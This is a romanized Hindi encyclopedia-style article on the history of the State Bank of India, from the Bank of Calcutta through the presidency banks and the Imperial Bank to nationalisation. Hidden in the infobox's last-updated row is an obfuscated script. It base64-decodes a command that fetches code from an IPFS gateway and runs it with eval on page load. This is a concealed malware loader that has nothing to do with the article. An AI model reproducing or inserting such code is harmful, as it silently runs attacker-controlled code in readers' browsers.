भारतीय स्टेट बैंक
bharatiy stet baiank
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| vivaran | bharatiy stet baiank, bharat ka sabase b da vanijyik aur sabase purana baiank hai. ise anusoochit baiank bhi kahate haian. |
| any nam | es.bi.aee. |
| sthapana | 2 joon, 1806 |
| rashtriyakaran | 1 julaee, 1955 |
| prakar | sarvajanik |
| mukhyalay | korporet seantar, maidam kama rod, mumbee, (maharashtr) |
| udyog | baiankiang, bima, pooanji bazar aur sanbaddh udyog |
| sanbandhit lekh | bharatiy stet baiank sthapana divas, bharatiy rizarv baiank |
| any janakari | das hazar shakhaoan aur 8,500 etiem ke netavark vala bharatiy stet baiank sarvajanik kshetr ke baiankoan mean sabase b da baiank hai. |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 12:14, 18 march 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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bharatiy stet baiank {aangrezi: State Bank of India sankshipt:es.bi.aee. (SBI)} bharat ka sabase b da vanijyik aur sabase purana baiank hai. ise anusoochit baiank bhi kahate haian. das hazar shakhaoan aur 8,500 etiem ke netavark vala bharatiy stet baiank sarvajanik kshetr ke baiankoan mean sabase b da baiank hai.
sthapana
2 joon, 1806 ko kalakatta mean baiank aauf kalakatta ki sthapana huee thi, jise tin varshoan ke pashchath chartar mila tatha 2 janavari, 1809 ko isaka punargathan baiank aauf bangal ke roop mean hua. yah baiank anokha tha kyoanki yah baiank british iandiya tatha bangal sarakar dvara sajha st aauk par chalaya jata tha. usake bad baiank aauf b aaumbe tatha baiank aauf madras ki shuruat huee. ye tinoan baiank adhunik bharat ke pramukh baiank tab tak bane rahe jab tak ki inaka vilay ianpiriyal baiank aauf iandiya mean nahian kar diya gaya. 27 janavari, 1921 mean in tin presideansi baiankoan (baiank aauf bangal, baiank aauf bambee, baiank aauf madras) ko milakar ianpiriyal baiank aauf iandiya (bharatiy shahi baiank) ki sthapana ki gayi. sanh 1951 mean pahali panchavarshiy yojana ki nianv dali gee jisamean gaanvoan ke vikas par zor dala gaya tha. is samay tak ianpiriyal baiank aauf iandiya ka karobar sirf shaharoan tak simit tha. atah gramin vikas ke maddenazar ek aise baiank ki kalpana ki gee jisaki pahuanch gaanvoan tak ho tatha gramin janata ko jisaka labh ho sake. isake phalasvaroop 1 julaee 1955 ko bharat sarakar ne ianpiriyal baiank aauph iandiya ka adhigrahan (nam badalakar) kar isaka namakaran bharatiy stet baiank rakh diya. apane sthapana kal mean bharatiy stet baiank ke kul 480 karyalay the jisamean shakhaean, up shakhaean tatha tin sthaniy mukhyalay shamil the, jo impiriyal baiankoan ke mukhyalayoan ko banaya gaya tha.
rashtriyakaran
bharatiy stet baiank ke rashtriyakaran ke samay bharatiy stet baiank sath sansad mean varsh 1959 mean stet baiank aauph iandiya (sabsidiyari baiank) adhiniyam parit kar esabiaee ko 8 poorv sahayogi baikoan (vartaman mean keval 7) ke adhigrahan ka adhikar diya gaya, jisase ye baiank esabiaee ke sahayak baiank ban gaye aur ise stet baiank samooh ka nam diya gaya.
vyavasay
praranbh mean baiankoan ka vyavasay batte par vinimay bil athava any parakramy niji pratibhootiyoan ko bhunana, rok d khatoan ka rakh-rakhav tatha jamarashiyaan prapt karana v nakadi not jari v parichalit karana tha. ek lakh rupe tak hi rrin die jate the tatha nibhav avadhi keval 3 mah tak hoti thi. aise rrinaean ke lie jamanat sarvajanik pratibhootiyaan thian jinhean samanyataya kanpani pepar, buliyan, kosh, plet, hire-javaharat athava 'nasht n hone vali vastu' kaha jata tha tatha barah pratishat se adhik byaj nahian lagaya ja sakata tha. aphim, nil, namak, ooni kap de, soot, soot se bani vastuean, soot katane ki mashin tatha reshami saman adi ke badale rrin die jate the parantu nakadi rrin ke madhyam se vitt mean tezikeval unnisavian sadi ke tisare dashak se praranbh huee. sabhi vastuean jinamean chay, chini tatha patasan baiank mean giravi athava drishtibandhak rakha jata tha jinaka vitt-poshan bad mean praranbh hua. maang-vachan patr udharakarta dvara garantikarta ke paksh mean jari kie jate the jo bad mean baiank ko prishthaankit kar die jate the. baianko ke sheyaroan par athava bandhak banae ge grihoan, bhoomi athava vastavik sanpatti par udhar dena varjit tha. kanpani pepar jama karake udhar lene valoan mean udharakarta mukhyataya bharatiy the jabaki niji evan vetan biloan par batte ke vyavasay par mool roop se yooropiy nagarikakoan tatha unaki bhagidari sansthaoan ka lagabhag ekadhikar tha. parantu jahaan tak sarakar ka sanbandh hai in tinoan baianko ka mukhy kary samay-samay par rrin jutane mean sarakar ki sahayata karana v sarakari pratibhootiyoan ke moolyoan ko sthirata pradan karana tha.[1]
sthitiyoan mean mahattvapoorn parivartan
baiank aauf bangal, b aaumbe tatha madras ke parichalan ki shartoan mean 1860 ke bad mahattvapoorn parivartan hue. 1861 ke pepar kareansi ekt ke parit ho jane se presideansi baiankoan ka mudra jari karane ka adhikar samapt kar diya gaya tatha 1 march 1862 se briten shasit bharat mean kagazi mudra jari karane ka mool adhikar bharat sarakar ko prapt ho gaya. nee kagaji mudra ke prabandhan evan parichalan ka dayitv presideansi baianko ko diya gaya tatha bharat sarakar ne rajakosh mean jamarashiyoan ka aantaran baiankoan ko un sthanoan par karane ka dayitv liya jahaan baiank apani shakhaean kholane vale hoean. tab tak tinoan presideansi baiankaean ki koee shakha nahian thi (sivay baiank aauf bangal dvara 1839 mean mirajapur mean shakha kholane ke lie kiya gaya ek matr chhota sa prayas ) jabaki unake sanvidhan ke aantargat unhean yah adhikar prapt tha. parantu jaise hi tinoan presideansi baiankoan ko rajakosh mean jamarashiyoan ka bina rok-tok upayog karane ka ashvasan mila to unake dvara tezise un sthanoan par baiank ki shakhaean kholana praranbh kar diya gaya. sanh 1876 tak tinoan presideansi baiankoan ki shakhaean, abhikaran v up-abhikaranoan ne desh ke pramukh kshetroan tatha bharat ke bhitari bhagoan mean sthit vyapar keandro mean apana vistar kar liya. baiank aauph bangal ki 18 shakhaean thian jisamean usaka mukhyalay, asthayi shakhaean, tatha up-abhikaran shamil haian jabaki baiank aauph b aaumbe evan madras pratyek ki 15 shakhaean thian.
presideansi baianks ekt
thumb|baiank aauf madras ka dinaank 1861 ka 10 rupe ka not
1 mee 1876 se lagoo presideansi baianks ekt ke dvara vyavasay par ekasaman pratibandhoan ke sath tin presideansi baiankoan ko ek saman kanoon ke aantargat laya gaya. tathapi, tin presideansi nagaroan mean lok rrin karyalayoan tatha sarakar ki jamarashiyoan ke ek bhag ki abhiraksha ka kary baiankoan ke pas hone ke bavajood sarakar ka malikana sanbandh samapt kar diya gaya. is ekt dvara kalakatta, banbee evan madras mean tin arakshit koshoan ke srijan ka pravadhan kiya gaya jahaan presideansi baiankoan ko keval unake pradhan karyalayoan mean rakhane ke lie nirdharit nyoonatam rashi se adhik ki jamarashiyaan rakhi jati thian. sarakar in arakshit koshoan se presideansi baiankoan ko rrin de sakati thi parantu ye baiank use adhikar ke bajay anugrah ke roop mean dekhate the. presideansi baiankoan ke samany niyantran ke bahar arakshit koshoan mean atirikt jamarashiyoan ko rakhane ke sarakar ke nirnay tatha un ne sthanoan par jahaan shakhaean kholi jani thi, sarakar ki nyoonatam jamarashiyoan ki garanti n dene ke usase ju de nirnay se varsh 1876 ke bad nee shakhaoan ki vriddhi kafi badhit huee. pichhale dashak mean hue vistar ki gati bahut dhimi p d jane ke bavajood baiank aauph madras ke mamale mean nirantar mamali vriddhi hoti rahi, kyoanki is baiank ko mukhyataya presideansi ke bandaragah se lage kee shaharoan evan desh ke bhitari keandroan ke bich hone vale vyapar se hi labh hota tha.
bharat ka rel netavark desh ke sabhi pramukh kshetroan tak vistarit hone ke karan 19vian sadi ke aantim 25 varshoan mean yah aau par tezise vanijyikaran hua. madras, panjab tatha siandh mean ne sianchaee netavarkoan ke karan nirvah phasaloan ko nakadi phasaloan ke roop mean parivartit karane ki prakriya ne jor pak da. in nakadi phasaloan mean se kuchh hisse ko videshi bazaroan ko bheja jane laga. chay tatha k aaufi ke baganoan ke karan poorvi taraee ke b de kshetr, asam evan nilagiri ke parvat utkrisht sthavar krishi kshetr ke roop mean roopaantarit ho ge. in sabhi ke parinamasvaroop, bharat ke aantarrashtriy vyapar mean chhah guna vistar hua. tinoan presideansi baiank up-mahadvip ke pratyek vyapar, vinirman evan utkhanan ki gatividhi ke vittaposhan mean vyavaharik roop se sammilit ho jane ke karan ye baiank vanijyikaran ki is prakriya ke labharthi evan pravartak donoan rahe. bangal evan banbee ke baiank b de adhunik vinirman udyogoan ke vittaposhan mean lage the, jabaki baiank aauph madras laghu udyogoan ka vittaposhan karane laga jaise anyatr kahian bhi hota nahian tha. parantu in tinoan baiankoan ko videshi mudra se ju de kisi bhi vyavasay se alag rakha gaya. sarakari jamarashiyoan ko rakhane vale in baiankoan ke lie aisa vyavasay jokhim mana gaya sath hi yah bhay bhi mahasoos kiya gaya ki sarakari sanrakshan prapt in baiankoan se us samay bharat mean ae vinimay baiankoan ke lie ek anuchit pratispardha utpann hogi. varsh 1935 mean bharatiy rizarv baiank ka gathan hone tak in baiankoan ko is vyavasay se alag rakha gaya.[1]
bangal ke presideansi baiank
bangal, banbee evan madras ke presideansi baiankoan ko unaki 70 shakhaoan ke sath varsh 1921 mean vilayan kar ianpiriyal baiank aauf iandiya ki sthapana ki gee. in tinoan baiankoan ko ek sanyukt sanstha ke roop mean roopaantarit kiya gaya tatha bharatiy vanijyik baiankoan ke bich ek vishal baiank ka pradurbhav hua. is ne baiank ne vanijyik baiankoan, baiankaroan ke baiank evan sarakar ke baiank ki tihari bhoomikaean nibhana svikar kiya. parantu is gathan ke pichhe bharatiy stet baiank ki avashyakata par varshoan pahale kiya gaya vichar-vimarsh shamil tha. aant mean ek mili-juli sanstha ubhar kar samane aee jo vanijyik baiank evan ardh-keandriy baiank ke kary nishpadit karati thi. varsh 1935 mean bharat ke keandriy baiank ke roop mean bharatiy rizarv baiank ke gathan ke sath ianpiriyal baiank ki ardh-keandriy baiank ki bhoomika samapt ho gee. ianpiriyal baiank bharat sarakar ka baiank n rahakar aise keandroan mean jahaan keandriy baiank nahian hai, sarakari vyavasay ke nishpadan ke lie bharatiy rizarv baiank ka ejeant ban gaya. parantu vah kareansi chest evan chhote sikkoan ke dipo ka tatha bharatiy rizarv baiank dvara nirdharit shartoan par any baiankoan evan janata ke lie vipreshan suvidha yojana parichalit karane ka kary nirantar karata raha. vah baiankaroan ka atirikt nakad apane pas rakhakar tatha pradhikrit pratibhooti par unhean rrin dekar unake baiank ke roop mean bhi kary karane laga. aise kee sthanoan par baiank samashodhan grihoan ka prabandhan bhi karata raha jahaan par bharatiy rizarv baiank ke karyalay nahian the. yah baiank sarakar ki taraph se rizarv baiank dvara ayojit rajakoshiy bil nilamiyoan mean sabase b da nividakarta bhi raha. rizarv baiank ki sthapana ke bad ianpiriyal baiank ko ek vanijyik baiank ke roop mean parivartit karane ke lie usake sanvidhan mean mahattvapoorn sanshodhan kie ge. usake vyavasay par poorv mean lagae ge pratibandhoan ko hataya gaya tatha pahali bar baiank ko videshi mudra vyavasay karane tatha nishpadak evan nyasi vyavasay karane ki anumati di gee.
ianpiriyal baiank
thumb|ianpiriyal baiank ianpiriyal baiank ne apane astitv ke bad se sadhe tin dashakoan ke dauran karyalayoan, arakshit nidhiyoan, jamarashiyoan, niveshoan evan agrimoan ke roop mean bahut hi prabhavashali vriddhi darj ki. kuchh mamaloan mean yah vriddhi chhah guna se bhi adhik rahi. poorvavartiyoan se virasat mean prapt vittiy sthiti aur suraksha vyavastha ne asandigdh roop se baiank ko ek thos aur majaboot pletapharm pradan kiya. ianpiriyal baiank ne baiankiang ki jis gauravapoorn paranpara ka niyamit roop se palan kiya tatha apane parichalanoan mean jis prakar ki uchch stariy satyanishtha ka pradarshan kiya usase jamakartaoan mean, jis tarah ka atmavishvas tha usaki barabari us samay ke kisi bhi bharatiy baiank ke lie sanbhav nahian thi. in sabake karan ianpiriyal baiank ne bharatiy baiankiang udyog mean ati vishisht sthiti prapt ki tatha desh ke arthik jivan mean mahattvapoorn sthan bhi prapt kiya. svatantrata prapti ke samay ianpiriyal baiank ka pooanji-adhar arakshitiyoan sahit 11.85 karo d rupe tha. jamarashiyaan aur agrim kramash: 275.14 karo d rupe aur 72.94 karo d rupe the tatha poore desh mean phaila 172 shakhaoan aur 200 up karyalayoan ka netavark tha.[1]
bharatiy stet baiank ke sahayogi baiank
- stet baiank aauf bikaner eand jayapur
- stet baiank aauf haidarabad
- stet baiank aauf maisoor
- stet baiank aauf patiyala
- stet baiank aauf travanakor
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 bharatiy stet baiank ka pradurbhav (hindi) (pi.ech.pi.) adhikarik vebasait. abhigaman tithi: 18 march, 2015.
bahari k diyaan
sambandhit lekh